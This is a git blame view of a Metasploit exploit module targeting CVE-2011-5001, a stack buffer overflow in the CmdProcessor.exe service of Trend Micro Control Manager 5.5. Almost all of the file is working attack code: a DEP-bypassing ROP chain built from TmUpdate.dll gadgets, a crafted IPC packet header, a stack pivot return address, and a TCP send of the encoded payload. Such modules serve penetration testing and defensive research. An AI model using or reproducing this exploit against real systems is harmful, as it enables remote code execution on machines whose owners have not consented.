Files
metasploit-gs/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

130 lines
4.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
def initialize(info={})
super(update_info(info,
2014-03-11 12:44:34 -05:00
'Name' => "TrendMicro Control Manger CmdProcessor.exe Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in the CmdProcessor.exe component of Trend
Micro Control Manger up to version 5.5.
2013-08-30 16:28:54 -05:00
The specific flaw exists within CmdProcessor.exe service running on TCP port
20101. The vulnerable function is the CGenericScheduler::AddTask function of
cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,
controlled data is copied into a 256-byte stack buffer. This can be exploited
to execute remote code under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', #Initial discovery
'Blue', #Metasploit
],
'References' =>
[
['CVE', '2011-5001'],
['OSVDB', '77585'],
2013-10-21 15:07:07 -05:00
['ZDI', '11-345']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Targets' =>
[
[
2012-02-23 17:33:49 -06:00
# TCM 5.5 cannot be installed in Win2k3 SP0-SP1, Win2k8, or XP
'Windows 2003 Server SP2 (DEP Bypass)',
{
'Ret' => 0x666b34c8, # TMNotify.dll stack pivot
'Offset' => 5000
}
],
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-12-07',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(20101)
])
end
2013-08-30 16:28:54 -05:00
def junk
return rand_text(4).unpack("L")[0].to_i
end
2013-08-30 16:28:54 -05:00
def exploit
2013-08-30 16:28:54 -05:00
#TmUpdate.dll
rop_chain = [
0x668074d4, # POP EDX # OR AL,0F6 # RETN
0x3FCD0FFC, # Put 00001000 into edx
0x667611b2, # ADD EDX,C0330004 # RETN 04
0x667c99e7, # POP EBP # RETN [TmUpdate.dll]
junk,
0x667c99e7, # skip 4 bytes [TmUpdate.dll]
0x667e3250, # POP EBX # RETN [TmUpdate.dll]
0xffffffff, # NEG EBX
0x6683ab64, # INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
0x6683ab64, # INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]
0x6680a1d3, # POP EAX # RETN [TmUpdate.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x66812b53, # NEG EAX # RETN [TmUpdate.dll]
0x667f030a, # MOV ECX,EAX # RETN [TmUpdate.dll]
0x667d4c7c, # POP EDI # RETN [TmUpdate.dll]
0x667e8003, # RETN (ROP NOP) [TmUpdate.dll]
0x667d54d0, # POP ESI # RETN [TmUpdate.dll]
0x667baf06, # JMP [EAX] [TmUpdate.dll]
0x66833376, # POP EAX # RETN [TmUpdate.dll]
0x6686115c, # ptr to &VirtualAlloc() [IAT TmUpdate.dll]
0x6681ceb3, # PUSHAD # RETN [TmUpdate.dll]
0x668382c3, # ptr to 'call esp' [TmUpdate.dll]
].pack('V*')
#rop chain generated by mona.py
2013-08-30 16:28:54 -05:00
header = "\x00\x00"
header << "\x13\x88" #size of buffer
header << rand_text_alpha(9)
header << "\x15\x09\x13" #opcode
header << "\x00\x00\x00"
header << rand_text_alpha(25)
header << "\xFE\xFF\xFF\xFF" #in instruction #MOV EDI,DWORD PTR DS:[EAX+ECX] #ECX is our buffer and needs to be readable dword
header << "\xFF\xFF\xFF\xFF" #after sum with EAX. Pointer from EAX increments by #LEA EAX,DWORD PTR DS:[EAX+EDI+4] and then is saved
header << "\xFF\xFF\xF4\xFF" #and used again. We can essentially walk the loop which increments EBX by 1 until we get to 14 which leads
header << "\xFF\xFF" #us to our vulnerable function
header << rand_text_alpha(1) #align stack again for rop
2013-08-30 16:28:54 -05:00
pay = rop_chain
pay << make_nops(374 - rop_chain.length)
2012-02-22 22:59:43 -06:00
pay << "\xeb\x04" #Short jmp 0x04
pay << [target.ret].pack('V')
pay << payload.encoded
2013-08-30 16:28:54 -05:00
sploit = header
sploit << pay
2013-08-30 16:28:54 -05:00
filler = rand_text_alpha(target['Offset'] - (sploit.length))
2013-08-30 16:28:54 -05:00
connect
print_status("Sending request...")
sock.put(sploit + filler)
handler
disconnect
2013-08-30 16:28:54 -05:00
end
end